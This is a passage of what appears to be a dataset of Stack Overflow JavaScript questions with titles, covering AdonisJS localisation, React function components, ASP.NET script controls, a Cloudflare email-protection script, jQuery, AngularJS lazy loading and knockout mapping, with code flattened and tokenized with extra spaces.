homero recusabo complectitur , graecis urbanitas in duo . Prima complectitur id vim , no quas causae expetendis duo . Volumus recusabo adolescens ut duo . No eos erat electram instructior , adhuc nemore conceptam et duo < /p >",How can I reset active touch-event-listeners inside YouTube embed < iframe > ? "JS : I 'm applying internationalization to my API and I 'm having some issues related to Antl and validation messages.With standard response messages , I 'm returning according to the locale set by the user . I created a route to switch locales and set to a cookie and a global middleware to get the locale from the cookie and then I just return the message stored in the locale resources . Global Middleware : Route : But i have two files with validation messages : PT - https : //github.com/LauraBeatris/xpack-adonis-api/blob/develop/resources/locales/pt/validation.jsonEN - https : //github.com/LauraBeatris/xpack-adonis-api/blob/develop/resources/locales/en/validation.jsonAnd I want to return the validation messages according to the current locale set by the user , but the problem is that the get method of the validator class does n't have access to the antl context object like the others middlewares.Messages method of the validator : But , when I changed the locale with the antl object provided by the middleware context , it does n't change in the global provider , so the validation messages will always return with the default locale , instead of the one set by the user in the middleware . I want to integrate the locale switch route with that antl global provider , so I 'll be able to return Portuguese validation messages , for example.That 's the repo of my project : https : //github.com/LauraBeatris/xpack-adonis-api class Locale { async handle ( { request , antl } , next ) { const lang = request.cookie ( 'lang ' ) if ( lang ) { antl.switchLocale ( lang ) } await next ( ) } } Route.get ( '/switch/ : lang ' , ( { params , antl , request , response } ) = > { // Getting the current available locales const locales = antl.availableLocales ( ) try { // Saving into cookies if ( locales.indexOf ( params.lang ) > -1 ) { response.cookie ( 'lang ' , params.lang , { path : '/ ' } ) } return response.status ( 200 ) .send ( { message : 'Locale changed succesfully ' } ) } catch ( err ) { return response.status ( err.status ) .send ( { error : 'Something went wrong while trying to switch locales ' , data : { message : err.message || 'Error message not found ' , name : err.name } } ) } } ) get messages ( ) { return Antl.list ( 'validation ' ) }",AdonisJS - How to return validation messages according to the locale of Antl Provider "JS : Stateless functional component is just a function that receives props and returns React element : This way < Foo { ... props } / > ( i.e . React.createElement ( Foo , props ) ) in parent component could be omitted in favour of calling Foo directly , Foo ( props ) , so React.createElement tiny overhead could be eliminated , yet this is n't necessary.Is it considered a bad practice to call functional components directly with props argument , and why ? What are possible implications of doing this ? Can this affect the performance in negative way ? My specific case is that there 's some component that is shallow wrapper over DOM element because this was considered a good idea by a third party : Here 's a demo that shows this case.This is widely accepted practice but the problem with it is that it 's impossible to get ref of wrapped DOM element from stateless function , so the component uses React.forwardRef : This way it can be used as : The obvious downside I 'm aware of is that withRef requires a developer to be aware of wrapped component implementation , which is n't a usual requirement for HOCs.Is it considered a proper approach in a situation like described above ? const Foo = props = > < Bar / > ; function ThirdPartyThemedInput ( { style , ... props } ) { return < input style= { { color : 'red ' , ... style } } { ... props } / > ; } function withRef ( SFC ) { return React.forwardRef ( ( props , ref ) = > SFC ( { ref , ... props } ) ) ; // this wo n't work // React.forwardRef ( ( props , ref ) = > < SFC ref= { ref } { ... props } / > ) ; } const ThemedInput = withRef ( ThirdPartyThemedInput ) ; < ThemedInput ref= { inputRef } / > ... inputRef.current.focus ( ) ;",Direct call of a functional component "JS : My custom server-side ajax control implements IScriptControl : GetScriptReferencesGetScriptDescriptorsFirst method sends javascript files , second creates javascript objects based on some sended earlier .js files.In my 'AssembleyInfo ' file I added below lines and marked .js files in Properties explorer as 'Embedded resourece ' : Here is implementation of IScriptControl : Here is parts of my .js files : first filesecond fileWHY CREATES ONLY FIRST OBJECT ? MY ASPX HAS JAVASCRIPT THAT MUST CREATE SECOND.IF I COMMENT ABOVE STATEMENT SECOND CREATES NORMALLY . // this allows access to this files [ assembly : WebResource ( `` ProjectName.file1.js '' , `` text/javascript '' ) ] [ assembly : WebResource ( `` ProjectName.file2.js '' , `` text/javascript '' ) ] public IEnumerable < ScriptReference > GetScriptReferences ( ) { yield return new ScriptReference ( `` ProjectName.file1.js '' , this.GetType ( ) .Assembly.FullName ) ; yield return new ScriptReference ( `` ProjectName.file2.js '' , this.GetType ( ) .Assembly.FullName ) ; } public IEnumerable < ScriptDescriptor > GetScriptDescriptors ( ) { ScriptControlDescriptor descriptor = new ScriptControlDescriptor ( `` ProjectName.file1 '' , this.ClientID ) ; //adding properties and events ( I use `` AnotherName '' on the safe side to avoid potentional namespace problems ScriptControlDescriptor descriptor2 = new ScriptControlDescriptor ( `` AnotherName.file2 '' , this.ClientID ) ; //adding properties and events yield return descriptor ; yield return descriptor2 ; } Type.registerNamespace ( `` ProjectName '' ) ; ProjectName.file1 = function ( element ) { ... ... ... ... .. } ProjectName.file1.registerClass ( 'ProjectName.file1 ' , Sys.UI.Control ) ; if ( typeof ( Sys ) ! == 'undefined ' ) Sys.Application.notifyScriptLoaded ( ) ; Type.registerNamespace ( `` AnotherName '' ) ; AnotherName.file2 = function ( element ) { ... ... ... ... ... ... ... ... } AnotherName.file2.registerClass ( 'AnotherName.file2 ' , Sys.UI.Control ) ; if ( typeof ( Sys ) ! == 'undefined ' ) Sys.Application.notifyScriptLoaded ( ) ; yield return descriptor",GetScriptDescriptors ( ) method for two .js files : strange unexpected behavior "JS : I noticed that GitHub appends a js that seems to remove links to email addresses when they have the string /cdn-cgi/l/email-protection with them . Any one else having this strange issue or is this even really from GitHub ? Here is the prettified version of this script : When I have a link like < a href= '' mailto : /cdn-cgi/l/email-protection/email @ foo.com '' > Contact < /a > it becomes < a href= '' mailto : '' > Contact < /a > . Otherwise , it does not do anything . Still , this bothers me because I did not put that script there yet there it is and I did n't seem to get any warning about GH appending scripts . ( function ( ) { try { var s , a , i , j , r , c , l = document.getElementsByTagName ( `` a '' ) , t = document.createElement ( `` textarea '' ) ; for ( i = 0 ; l.length - i ; i++ ) { try { a = l [ i ] .getAttribute ( `` href '' ) ; if ( a & & a.indexOf ( `` /cdn-cgi/l/email-protection '' ) > -1 & & ( a.length > 28 ) ) { s = `` ; j = 27 + 1 + a.indexOf ( `` /cdn-cgi/l/email-protection '' ) ; if ( a.length > j ) { r = parseInt ( a.substr ( j , 2 ) , 16 ) ; for ( j += 2 ; a.length > j & & a.substr ( j , 1 ) ! = ' X ' ; j += 2 ) { c = parseInt ( a.substr ( j , 2 ) , 16 ) ^ r ; s += String.fromCharCode ( c ) ; } j += 1 ; s += a.substr ( j , a.length - j ) ; } t.innerHTML = s.replace ( / < /g , `` & lt ; '' ) .replace ( / > /g , `` & gt ; '' ) ; l [ i ] .setAttribute ( `` href '' , `` mailto : '' + t.value ) ; } } catch ( e ) { } } } catch ( e ) { } } ) ( ) ;",Why does GitHub append a js to my jekyll site "JS : Is it possible to override the HTMLElement.classList property in WebKit ( Chrome ) ? I am trying with the following code : However , calling classList of a DIV would still return the DOMTokenList . Object.defineProperty ( window.HTMLElement.prototype , `` classList '' , { get : function ( ) { console.log ( `` test '' ) ; return 1 ; } , set : function ( newValue ) { } , enumerable : true , configurable : true } ) ;",Overwriting HTMLElement.classList property "JS : I am using angular 1.6 for my project and angular-ui-routing for routing with PugJs for HTML templates . I am trying to implement Lazyload in my application , but somehow its not working may be due to jade.code : Controller : and on the frontend I am using node to convert these jade into HTML , so when 'templateUrl ' is accessed by routing services it would be redirected to this code : this loads the example.jade in view.I am getting this in console [ $ controller : ctrlreg ] The controller with the name 'exampleCtrl ' is not registered.Even after controller file is loaded in DOM and also view is not rendering . any help regarding issue welcomed . Thank you var app = angular.module ( 'myApp ' , [ 'ui.router ' , 'oc.lazyLoad ' ] ) ; app.config ( [ ' $ ocLazyLoadProvider ' , function ( $ ocLazyLoadProvider { $ ocLazyLoadProvider.config ( { debug : true , modules : [ { name : 'js ' , files : [ 'js/* ' ] } ] } ) ; } ] ) ; .state ( `` exampleState '' , { url : '/example ' , templateUrl : '/example ' , controller : 'exampleCtrl ' , resolve : { deps : [ ' $ ocLazyLoad ' , function ( $ ocLazyLoad ) { return $ ocLazyLoad.load ( { files : [ '/js/exampleCtrl.js ' ] } ) } ] } } ) app.controller ( 'exampleCtrl ' , function ( $ scope ) { console.log ( 'controller loaded ' ) ; } ) ; app.get ( '/example ' , function ( req , res ) { res.render ( '/example ' ) ; } ) ;",Controller is loaded in DOM but the view not loaded and ca n't find controller- oclazyload with jade ( pugjs ) "JS : Assuming I have a div that looks like : and I have a script that defines an object literal : Why is it when I access testObject.testDiv I get a reference to a jQuery object , i.e. , but when I access testObject.testDivProperty I get a reference to the actual element , i.e. , and hence am not able to perform jQuery operations on testObject.testDivProperty ? < div id= '' testDiv '' > some stuff in here < /div > var testObject = { testDiv : $ ( `` # testDiv '' ) , testDivProperty : this.testDiv } ; [ < div id=​ '' testDiv '' > ​…​ < /div > ​ ] < div id=​ '' testDiv '' > ​…​ < /div > ​","Accessing a Jquery selector as an object property , unexpected outcome" "JS : I developed an application that interfaces with an institution 's emergency alert system . How it works is , when there is an alert , on all of the institution 's web pages it displays a scrolling marquee at the top of the page that is put there by javascript using protoype and scriptaculous.All of this works perfectly on desktop browsers ( IE6-8 , Chrome , Safari , Firefox , Opera ) . It also works well on iPhones . My only problem is the rendering on Android.In researching the problem initially , I found a CSS Property for mobile devices ( namely webkit ) -webkit-text-size-adjust , that keeps mobile devices from resizing text when zooming and changing screen orientation . I have set this property to 'none ' as stated by many articles.Below is a picture of screen shots from an Android emulator . The left screen shot shows 1x magnification of the page . The spacing between each of the messages is as it should be . The right screen shot shows the page zoomed in . The messages overlap , as the text size is rendered differently , and the div width is not wide enough to contain the text.http : //www.themonkeyonline.com/spacing-example.jpgHere is the code that places the div on the page : Is there something I am missing ? I will keep researching the problem in the time being . Thanks to everyone who read all of this.A brief update ... after more testing , it appears that the problem is n't necessarily based on zoom . It looks as if the problem is the viewport . I tested some really long text , and even zoomed all the way out , it has overlapped . It seems as though the div containing the text will not size itself greater than the window.Here is an example of the code in action : http : //elliottr.www-dev.seminolestate.edu/alert/ var marquee = new Element ( 'div ' , { 'id ' : 'marquee ' + marquee_counter } ) .setStyle ( { 'display ' : 'block ' , 'WebkitTextSizeAdjust ' : 'none ' , 'fontSize ' : '12px ' , 'lineHeight ' : '25px ' , 'left ' : $ ( marquee_container ) .getDimensions ( ) .width + 'px ' } ) .addClassName ( 'marquee_text ' ) .update ( marquee_text ) ; $ ( marquee_container ) .insert ( marquee ) ;",Android Web Development ... Div width ( more likely inner text ) is changing in pixels based on device zoom JS : I have got such situation : And I am trying to get something like this : I have tried to do that using unwrap ( ) function like this : But this function removes whole < div > . So how can I do that using jQuery/JavaScript ? Thanks for help . < div > < span id= '' x1 '' > < /span > < span id= '' x2 '' > < /span > < span id= '' x3 '' > < /span > < /div > < div > < span id= '' x1 '' > < /span > < /div > < span id= '' x2 '' > < /span > < div > < span id= '' x3 '' > < /span > < /div > $ ( ' # x2 ' ) .unwrap ( ) ;,JQuery - Unwrap only one element "JS : The first attempt to hover div.logo finish successfully and typed.js types the sentence . After that , when hover again on div.logo it does n't work and does n't type anything . < script type= '' text/javascript '' > $ ( `` .logo '' ) .hover ( function ( ) { $ ( this ) .toggleClass ( `` clicked '' ) ; if ( $ ( '.logo ' ) .hasClass ( 'clicked ' ) ) { $ ( function ( ) { $ ( '.logo ' ) .css ( 'background-position ' , '-20vmin center ' ) ; console.log ( `` n '' ) ; $ ( `` .logo h3 '' ) .typed ( { strings : [ `` Phoenix ^250 Programming ^250 Team '' ] , typeSpeed : 75 } ) ; } ) ; } else { $ ( '.logo ' ) .find ( `` h3 '' ) .text ( `` '' ) ; $ ( '.logo span ' ) .remove ( ) ; $ ( '.logo ' ) .css ( 'background-position ' , 'center left+1.5vmin ' ) ; } } ) ; < /script >",typed.js does n't work for the second attempt "JS : outputsbut outputsWhat could be causing this ? Edit : Interestingly , user._id , ( and only it ) works . console.log ( ' > > > > > > user = '+ user ) ; > > > > > > user = { username : 'user1 ' , salt : '3303187e50a64889b41a7a1c66d3d3c10b9dec638fdd033bee1221d30d01c5e1 ' , hash : 'a174c206d88bee1594bb081dbd32d53420f6ef3d6322104f3d0722d58bc8dd8d ' , _id : 52d3177481daf59c11000001 , __v : 0 } console.log ( ' > > > > > > user.hash = '+ user.hash ) ; > > > > > > user.hash = undefined",Dot operator not fetching child properties of a Mongoose Document object "JS : Im trying to figure out best practices in regard to performance when creating multiple DIV 's at an insane rate . For example , on every .mousemove event ... So , this works all nice and dandy but it 's mega inefficient ( especially so when I try filling in the space between each mouse move position ) . Here 's an example ... I really cant figure out how to improve things . Believe me , Ive tried researching but it has n't done much good ... What I 'm looking for is some suggestions , examples , or links to better practices ... Please note that I 'm teaching myself to code . I 'm a Graphic Design student and this is how I 'm spending my summer out of class ... Making little projects to teach myself JavasSript , fun stuff : ) Ive set up some jsfiddles to show what Im working on ... Mouse Trail , More Elements - Very Very Slow Mouse Trail , Less Elements - Very Slow Mouse Trail , Bare Bones - Slow $ ( 'head ' ) .append ( `` < style > .draw { width : 20px ; height : 20px ; position : fixed ; < /style > '' ) ; $ ( document ) .mousemove ( function ( mouseMOVE ) { //current mouse position var mouseXcurrent = mouseMOVE.pageX ; var mouseYcurrent = mouseMOVE.pageY ; //function to create div function mouseTRAIL ( mouseX , mouseY , COLOR ) { $ ( 'body ' ) .append ( `` < div class='draw ' style='top : '' + mouseY + `` px ; left : '' + mouseX + `` px ; background : `` + COLOR + `` ; ' > < /div > '' ) ; } // function call to create < div > at current mouse positiion mouseTRAIL ( mouseXcurrent , mouseYcurrent , ' # 00F ' ) ; // Remove < div > setTimeout ( function ( ) { $ ( '.draw : first-child ' ) .remove ( ) ; } , 250 ) ; } ) ; $ ( 'head ' ) .append ( `` < style > .draw { width : 20px ; height : 20px ; position : fixed ; < /style > '' ) ; $ ( document ) .mousemove ( function ( mouseMOVE ) { //current mouse position var mouseXcurrent = mouseMOVE.pageX ; var mouseYcurrent = mouseMOVE.pageY ; // function to create div function mouseTRAIL ( mouseX , mouseY , COLOR ) { $ ( 'body ' ) .append ( `` < div class='draw ' style='top : '' + mouseY + `` px ; left : '' + mouseX + `` px ; background : `` + COLOR + `` ; ' > < /div > '' ) ; } // function call to create < div > at current mouse positiion mouseTRAIL ( mouseXcurrent , mouseYcurrent , ' # 00F ' ) ; // variabls to calculate position between current and last mouse position var num = ( $ ( '.draw ' ) .length ) - 3 ; var mouseXold = parseInt ( $ ( '.draw : eq ( ' + num + ' ) ' ) .css ( 'left ' ) , 10 ) ; var mouseYold = parseInt ( $ ( '.draw : eq ( ' + num + ' ) ' ) .css ( 'top ' ) , 10 ) ; var mouseXfill = ( mouseXcurrent + mouseXold ) / 2 ; var mouseYfill = ( mouseYcurrent + mouseYold ) / 2 ; // if first and last mouse postion exist , function call to create a div between them if ( $ ( '.draw ' ) .length > 2 ) { mouseTRAIL ( mouseXfill , mouseYfill , ' # F80 ' ) ; } // Remove < div > setTimeout ( function ( ) { $ ( '.draw : first-child ' ) .remove ( ) ; $ ( '.draw : nth-child ( 2 ) ' ) .remove ( ) ; } , 250 ) ; } ) ;","Muliple div creation , jquery/javascript , performance/best practice" "JS : I know the what the postfix/prefix increment/decrement operators do . And in javascript , this seems to be no different.While I can guess the outcome of this line easily : as ++ operators appear within separate expressions . It gets a bit complicated as these operators appears within the same expression : and my question is , how does Javascript ( V8 in this case , as I tested these in Chrome ) end up evaluating the addition expression in 2nd and 3rd example differently ? Why does foo end up evaluating differently than foo++ . Is n't postfix ++ supposed to increment after the expression and just evaluate to foo within expression ? var foo = 10 ; console.log ( foo , ++foo , foo , foo++ , foo ) ; // output : 10 11 11 11 12 var foo = 10 ; console.log ( foo , ++foo + foo++ , foo ) ; // output [ 1 ] : 10 22 12// Nothing unexpected assuming LTR evaluationvar foo = 10 ; console.log ( foo , foo++ + ++foo , foo ) ; // output [ 2 ] : 10 22 12// What ? Ordering is now different but we have the same output.// Maybe value of foo is evaluated lazily ... var foo = 10 ; console.log ( foo , foo + ++foo , foo ) ; // output [ 3 ] : 10 21 11// What ? ! So first 'foo ' is evaluated before the increment ?",Javascript increment operation order of evaluation "JS : I 'm creating vertically auto scrolling divs using jquery with animation ... I have finished creating it but the only problem is when I scroll down the window to the middle of list div where divs are scrolling , it pushes the window up to the scrolling list div . I do n't know what the problem is . However when I try to give the list div width in pixels , it is not pushing up ... Try to scroll down to the middle of the scrolling list div . You will understand what the problem is . Thanks ... setInterval ( function ( ) { $ ( ' # list ' ) .stop ( ) .animate ( { scrollTop:40 } , 400 , 'swing ' , function ( ) { $ ( this ) .scrollTop ( 0 ) .find ( 'div : last ' ) .after ( $ ( 'div : first ' , this ) ) ; } ) ; } , 1000 ) ; * { box-sizing : border-box ; } body { height : 1000px ; } # list { overflow : hidden ; width : 100 % ; height : 250px ; background : red ; padding : 10px ; margin-top : 100px ; } # list div { display : block ; height : 30px ; padding : 10px 10px ; margin-bottom : 10px ; background : yellow ; } .item : last-child { margin-bottom : 0px ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < div id= '' list '' > < div > Item 1 < /div > < div > Item 2 < /div > < div > Item 3 < /div > < div > Item 4 < /div > < div > Item 5 < /div > < div > Item 6 < /div > < div > Item 7 < /div > < div > Item 8 < /div > < div > Item 9 < /div > < div > Item 10 < /div > < /div >",How to create vertically scrolling divs in jquery ? "JS : I was doing some testing converting values to integer in javascript and printing the output in the console when I came across with this strange behavior.I thought the values were being converted using parseInt but turns out it was n't so I went to the javascript conversion table http : //www.w3schools.com/js/js_type_conversion.aspThis give me a better idea on how conversions are performed . Acording to this tableSo aparently they take the first value of the array and convert it using the specified rules . The rules of parseInt does not apply.I tested to reach this conclusion . You can nested it all you want , it will give you the same result.So then I thought , ok if that 's the casethose are the values expected from the javascript conversion table to integer but turns outThe last is the most strange because false is converted to 0 , not to NaN.Can someone explain the strange behaviour or explain how this conversion is performed ? console.log ( + [ ] ) == > 0console.log ( + [ 123 ] ) == > 123console.log ( + [ '123 ' ] ) == > 123console.log ( + [ 123 , 456 ] ) == > NaNconsole.log ( + [ '123asdf ' ] ) == > NaN [ ] = > 0 [ 20 ] = > 20 [ 10,20 ] = > NaN [ `` twenty '' ] = > NaN [ `` ten '' , '' twenty '' ] = > NaN console.log ( + [ [ [ [ [ [ [ [ [ [ [ 10 ] ] ] ] ] ] ] ] ] ] ] ) = > 10 console.log ( + [ undefined ] ) will return NaNconsole.log ( + [ null ] ) will return 0console.log ( + [ false ] ) will return 0 console.log ( + [ undefined ] ) = > 0console.log ( + [ null ] ) = > 0console.log ( + [ false ] ) = > NaN",Why using the unary operator + on an array gives inconsistent results in javascript ? "JS : USE CASEI am trying to build a `` slide show '' type application . Each slide has a fixed aspect ratio , but I want the contents to be rendered with their normal width/height - so I am trying to use the CSS3 `` transform : scale '' on the contents of the slide , using the viewport width/height I calculate the ideal scale/margins to fit the slide into the viewport . On one particular slide I am showing some `` info card '' for people and a list of each person 's `` successors '' ISSUEChrome is showing some very weird behavior on the images . If you resize the window the images move all over the place . If you force the image to repaint somehow the image seems to fix itself ( i.e . scroll page down and back up ) Edit this seems related specifically to an image inside a box with border radius ! QUESTIONIs this a bug in Chrome ? Is there any work around that will fix this issue ? LIVE EXAMPLELive FiddleIn this live example - you can resize the Result Pane to cause the image to be scaled . At least in my version of chrome the image goes haywire.POST EDITSI widdled the code down to the minimum required to reproduce issue . I only used webkit vendor prefixes.I also updated the issue description because after widdling the code down I realized it must have something to do with the border radius of the element containing the image ! Original FiddleHTMLCSSJAVASCRIPT < div class= '' container '' > < div class= '' inner '' > < div class= '' box '' > < img src= '' https : //en.gravatar.com/userimage/22632911/5cc74047e143f8c15493eff910fc3a51.jpeg '' / > < /div > < /div > < /div > body { background-color : black ; } .inner { background-color : white ; width : 800px ; height : 600px ; -webkit-transform-origin : 0 0 ; } .box { overflow : hidden ; -webkit-border-radius : 10px ; width : 80px ; height : 80px ; margin : 10px ; } ( function ( $ ) { var $ inner = $ ( '.inner ' ) ; var $ window = $ ( window ) ; var iWidth = parseInt ( $ inner.css ( 'width ' ) ) ; var iHeight = parseInt ( $ inner.css ( 'height ' ) ) ; var iRatio = iWidth / iHeight ; function adjustScale ( ) { var vWidth = $ window.width ( ) ; var vHeight = $ window.height ( ) ; if ( vWidth / vHeight > iRatio ) { width = vHeight * iRatio ; } else { width = vWidth ; } var scale = width / iWidth ; $ inner [ 0 ] .style.WebkitTransform = 'scale ( ' + scale + ' ) ' ; } adjustScale ( ) ; $ window.resize ( adjustScale ) ; } ) ( jQuery ) ;",Chrome messing up images inside a scaled element which has border radius "JS : I 'm appending some HTML containing javascript.andThese two pieces of code are in the big amount of HTML I 'm appending.They work fine if they are already there when the page loads but not when I 'm appending.What do you suggest me to do ? Is it needed some sort request for the DOM to re-interpret the JavaScript after the append or ? EDIT : Just some more info , I 'm with this problem , because I 'm adding some stuff with AJAX to the database , and on success I 'm appending the html to where it needs to be . Kinda the same way SO does with the comments . Edit2 : Even with all the discussion about it , thanks for the answers , got it working . < td onclick= '' toggleDay ( '+data+ ' , this , \'tue\ ' ) ; '' > T < /td > < img src= '' img/cross.png '' onclick= '' deleteAlarm ( '+data+ ' ) ; '' >","Appended HTML that contains javascript does n't run , how can I make it run ?" "JS : I do n't seem to understand the output of this block of code : Here 's my thinking process : Pass int to the function and check if it 's 0 or 1If it 's 0 or 1 , proceed to return the passed valueIf it 's not 0 or 1 , minus 1 from 7 , then minus 2 from 7Return the output which according through my ( obviosly faulty ) thinking would be 11How does the function come to the result of 13 ? function fib ( x ) { return ( x === 0 || x === 1 ) ? x : fib ( x - 1 ) + fib ( x - 2 ) ; } fib ( 7 ) ; // output is 13",Stuck on a simple fibonacci with Javascript "JS : I 'm finding myself a bit lost amongst the many many sign and domain conventions used in webGl . Take a gander at this regl example ( it shows the baboon test image ) . Here 's what I understand of it : No primitive is specified ; It likely infers GL_TRIANGLE.As such , it creates a single triangular surface with vertices ( -2 , 0 ) , ( 0 , -2 ) , ( 2 , 2 ) in world-space . Drawing this out on paper , it appears this was chosen specifically because it encompasses the region [ 0,1 ] x [ 0,1 ] .uv takes its values from world space , including this [ 0,1 ] x [ 0,1 ] region ( which is the domain of texture2d ) . If I understand correctly , the convention is that +u points towards the right edge of the image , +v points towards the top.gl_Position is set to 1 - 2*uv , so that the image occupies [ -1,1 ] x [ -1,1 ] , z=0 in `` clip space , '' whatever that is.More importantly , it also means that the + { u , v } directions correspond to - { x , y } ! The displayed image , is , in fact , mirrored horizontally ! ! ( compare to this ) But it is not mirrored vertically . There must be something else along the eventual conversion to/from onscreen pixel coordinates that cancels out the negative factor in y.However , Google searches bring up no evidence that gl_Position is mirrored in any way relative to the screen . I see discussion that it is left-handed , but that is simply from negating z relative to world coordinates . ( e.g . this question here ) In brief , it appears to me that this image ought to be mirrored vertically as well.What am I missing ? For posterity , the code is reproduced below : ( MIT licensed ) const regl = require ( 'regl ' ) ( ) const baboon = require ( 'baboon-image ' ) regl ( { frag : ` precision mediump float ; uniform sampler2D texture ; varying vec2 uv ; void main ( ) { gl_FragColor = texture2D ( texture , uv ) ; } ` , vert : ` precision mediump float ; attribute vec2 position ; varying vec2 uv ; void main ( ) { uv = position ; gl_Position = vec4 ( 1.0 - 2.0 * position , 0 , 1 ) ; } ` , attributes : { position : [ -2 , 0 , 0 , -2 , 2 , 2 ] } , uniforms : { texture : regl.texture ( baboon ) } , count : 3 } ) ( )",Why is this image not mirrored vertically ? "JS : As per http : //www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf , JavaScript has 6 types : undefined , null , boolean , string , number and object.Question 1 : Why is null of type object instead of null ? Question 2 : What about functions ? Variable f has type of function . Why is n't it specified in the specificationas a separate type ? Thanks , var und ; console.log ( typeof und ) ; // < -- undefinedvar n = null ; console.log ( typeof n ) ; // < -- - **object** ! var b = true ; console.log ( typeof b ) ; // < -- booleanvar str = `` myString '' console.log ( typeof str ) ; // < -- stringvar int = 10 ; console.log ( typeof int ) ; // < -- numbervar obj = { } console.log ( typeof obj ) ; // < -- object var f = function ( ) { } ; console.log ( typeof f ) ; // < -- function",JavaScript types "JS : I have a problem with set fontStyle attribute to single element ( by id ) in popover . I get onClick event , put style ( bold font style ) to all class elements and then try to put another style ( normal ) to one ( clicked ) element . My code is : There is a demoSetting bold style for all class elements works and dialog shows correctly id so this is right element ( in this ) but .css ( ) method does n't work . I tried to put style by using id like : and there is no error in console but it does n't work as well . Is there any other way to set fontStyle to single unique element ? $ ( document ) .on ( 'click ' , '.listElement ' , function ( ) { $ ( '.listElement ' ) .css ( 'font-weight ' , 'bold ' ) ; alert ( this.id ) ; $ ( this ) .css ( 'font-weight ' , 'normal ' ) ; } ) ; $ ( ' # A ' ) .css ( 'font-weight ' , 'normal ' ) ;",Set css attribute in onclick event JS : The code I have is : Is there a nicer way of doing this ? var level = function ( d ) { if ( value ( d ) > median + stdev ) { return 1 ; } else if ( value ( d ) > median ) { return 2 ; } else if ( value ( d ) > median - stdev ) { return 3 ; } else { return 4 ; } } ;,Shortening a Javascript if-else structure JS : I 'm confused about the notion of `` prototype '' in javascript.When I 'm defining an object both of the following seem to work : and ... Could anyone shed some light on this ? What exactly is the difference between these two ways of creating an object and why would I choose one over the other ? ( I have this feeling in my gut it 's important ... ) Thanks ! myObject = { } ; myObject.prototype.method1 = function ( ) { ... } ; myObject.prototype.method2 = function ( ) { ... } ; myObject.prototype.method3 = function ( ) { ... } ; myObject = { } ; myObject.method1 = function ( ) { ... } ; myObject.method2 = function ( ) { ... } ; myObject.method3 = function ( ) { ... } ;,When should you use `` prototype '' during object augmentation in javascript ? "JS : I am using DataTables plugin for jQuery for drawing table on my web app . Everything is working correctly . But one of the option is to press a details button to open an info window which will have additional values . Now that part is working correctly but my table is defined with classes so I can change language dynamically when user changes language using menu.The only thing that I am getting is in English , as I declared it at the start.My predefined table : When I change the language and my javascript is changing each value through the class name , nothing happens , but for the rest of my code this works fine but for this predefined table does n't . Any idea ? EDITThis is a event listener : So when buttons is clicked I call fnFormatDetails ( ) function but then its drawn only as it is set . So when I dynamically change the value of that table nothing is changing.Do you need some more details ? function fnFormatDetails ( nTr ) { var aData = oTable.fnGetData ( nTr ) ; var sOut = ' < table cellpadding= '' 5 '' cellspacing= '' 0 '' border= '' 0 '' style= '' background-color : whitesmoke ; padding-left:10 % ; padding-right:10 % ; width:100 % '' > ' ; sOut += ' < tr > < td style= '' text-align : left '' > < span class= '' id_prog '' > ID Program : '+aData [ 0 ] + ' < /span > < /td > < td style= '' text-align : left '' > < span class= '' id_in_perc '' > Increment : '+aData [ 3 ] + ' < /span > < /td > < /tr > ' ; sOut += ' < tr > < td style= '' text-align : left '' > < span class= '' id_var '' > Machine position : '+aData [ 1 ] + ' < /span > < /td > < td style= '' text-align : left '' > < span class= '' id_tot_in_var '' > Total inc : '+aData [ 4 ] + ' < /span > < /td > < /tr > ' ; sOut += ' < tr > < td style= '' text-align : left '' > < span class= '' id_dti_var '' > DTI : '+aData [ 2 ] + ' < /span > < /td > < /tr > ' ; sOut += ' < /table > ' ; return sOut ; } $ ( ' # jphit tbody td img ' ) .live ( 'click ' , function ( ) { var nTr = $ ( this ) .parents ( 'tr ' ) [ 0 ] ; if ( oTable.fnIsOpen ( nTr ) ) { /* This row is already open - close it */ this.src = `` images/plus-icon.png '' ; oTable.fnClose ( nTr ) ; } else { /* Open this row */ this.src = `` images/minus-icon.png '' ; oTable.fnOpen ( nTr , fnFormatDetails ( nTr ) , 'details ' ) ; } } ) ;",How to change value if table is already drawn "JS : Apparently I did not yet understand the mechanic behind ng-repeat , $ $ hashKeys and track by.I am currently using AngularJS 1.6 in my project . The Problem : I got an array of complex objects which i want to use to render a list in my view . But to get the required result i need to modify ( or map/enhance/change ) these objects first : Binding this to the view should be working like this : However this obviously runs into a $ digest ( ) -loop , because .map returns new object-instances every time it is called . Since I bind this to ng-repeat via a function , it gets reevaluated in every $ digest , the model does not stabilize and Angular keeps rerunning $ digest-cycles because these objects are flagged as $ dirty.Why i am confusedNow this is not a new issue and there are several solutions for this : In an Angular-Issue from 2012 Igor Minar himself suggested to set the $ $ hashKey-Property manually to tell angular that the generated objects are the same . This is his working fiddle , but since even this very trivial example still ran into a $ digest-loop when i used it in my project , i tried upgrading the Angular-Version in the fiddle . For some reason it crashes.Okay ... since Angular 1.3 we have track by which should essentially solve this exact problem . However both andcrash with a $ digest-loop . I was under the impression that the track by statement should let angular believe it works with the same objects , but apparently this is not the case since it just keeps checking them for changes . To be honest , i have no idea how i can properly debug the cause of this.Question : Is it possible to use a filtered/ modified array as data-source for ng-repeat ? I do not want to store the modified array on my controller , because i need to update its data constantly and would then have to maintain and refresh it manually in the controller instead of relying on databinding . const sourceArray = [ { id : 1 , name : 'Dave ' } , { id:2 , name : Steve } ] const persons = sourceArray.map ( ( e ) = > ( { enhancedName : e.name + e.id } ) ) //Thus the content of persons is : // [ { enhancedName : 'Dave_1 ' } , { enhancedName : 'Steve_2 ' } ] < div ng-repeat= '' person in ctrl.getPersons ( ) '' > { { person.enhancedName } } < /div > < div ng-repeat= '' person in ctrl.getPersons ( ) track by $ index '' > < div ng-repeat= '' person in ctrl.getPersons ( ) track by person.enhancedName '' >",Function in ng-repeat with track by causes Infinite $ digest-loop "JS : Ca n't figure out why disposing computed observables does n't remove the subscriptions from global variables in case view model was created using knockout.mapping plugin.First let 's see what happens when model is created directly : I used Chrome dev tools to record heap allocations while adding and removing items several times . After each addition , previously allocated objects were cleaned up successfully , I got the following picture : Now the same functionality using mapping plugin : Using the same technique to record heap allocations this is what I see : I am aware of pureComputed , but would like to avoid using them for 2 reasons : Switching to pure computed breaks legacy code by throwing exceptions : ' A 'pure ' computed must not be called recursivelySolving these issues will take a lot of time.Pure computeds are evaluated more often which creates some performance overhead I 'd like to avoid , and again this influences legacy code unpredictably.Also I would still like to use the mapping plugin because of it 's ability to monitor collection state ( using key mapping property ) and because it creates all observables for me.So is there something that I missed and what is the proper way to free resources in case of using mapping plugin ? // Global variable.var Environment 